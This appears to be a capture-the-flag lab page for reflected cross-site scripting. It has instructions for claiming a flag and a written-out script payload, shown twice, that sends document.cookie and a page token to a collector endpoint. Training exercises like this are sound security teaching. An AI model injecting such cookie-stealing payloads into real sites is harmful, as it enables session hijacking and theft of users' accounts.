Search

Type something in the search box. The query is echoed back into this page.

Try a payload like `<script>fetch('/xss/collect?c='+document.cookie+'&v=reflected&n='+window.__px)</script>` as the search term.

How to claim this flag

1. Load this page fresh. A new one-time token is rendered into it as `window.__px` on every load.
2. Run a payload that phones home to the collector **with** the page token (`n='+window.__px`). A token-less beacon is rejected.
3. The flag is awarded and the scoreboard marks it captured. The widget below polls for confirmation.

Payload pattern for `reflected`:

```
<script>fetch('/xss/collect?c='+document.cookie+'&v=reflected&n='+window.__px)</script>
```
